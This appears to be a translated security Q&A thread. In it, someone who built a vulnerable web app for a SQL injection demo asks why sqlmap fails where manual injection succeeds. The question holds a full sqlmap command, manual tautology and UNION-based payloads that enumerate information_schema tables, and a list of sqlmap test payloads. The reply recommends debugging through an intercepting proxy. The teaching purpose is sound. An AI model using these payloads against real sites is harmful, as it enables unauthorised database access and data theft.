La inyección de SQLmap no funciona, manualmente funciona bien

5

He construido una aplicación web vulnerable para demostrar la inyección de SQL. Quiero mostrar tanto la inyección manual como la inyección automatizada. La inyección requiere a) que el usuario esté conectado (cookie de sesión), b) un certificado SSL de usuario yc) un PREFIX.

Mi comando es:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

Puedo ver que SQLmap está funcionando, pero nunca encuentra que el campo sea inyectable.

Una inyección manual como esta funciona:

http://vulnapp.com/index.php?profile=admin' or '1'='1

Cosas que pueden estar causando el error de SQLmap:

  1. El mensaje de error devuelto es un mensaje de error personalizado, no un mensaje de error de MySQL.
  2. El prefijo del perfil debe ser el nombre de usuario registrado.
  3. El UNION no está probando suficientes campos posiblemente
  4. No está probando cadenas, sino solo números enteros (por ejemplo, AND 3347=7762 y no AND '3347'='7762
  5. Sus pruebas son AND y no OR (no veo que se esté probando OR s)
  6. La solicitud http GET se pasa luego a JS, que ajax es para los datos del servidor. Tal vez la respuesta se pierde a SQLmap?

A continuación se muestran algunas de las consultas que pueden ver si se están probando, pero al parecer todas fallan.

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

EDITAR: esta consulta también funciona manualmente:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

Sin embargo, SQLmap no parece probar uniones como esa.

    
pregunta amlwwalker 21.10.2015 - 17:51
fuente

1 respuesta

1

Si bien es imposible decir exactamente por qué sqlmap está fallando sin tener acceso a la aplicación de prueba, se puede considerar el uso de un proxy interceptor para revisar las solicitudes / respuestas de la aplicación. para ver donde esta fallando. Usar un proxy como OWASP ZAP o Burp puede ver las consultas enviadas por sqlmap y tener una idea de por qué pueden estar fallando.

    
respondido por el Rоry McCune 25.10.2015 - 20:30
fuente

Lea otras preguntas en las etiquetas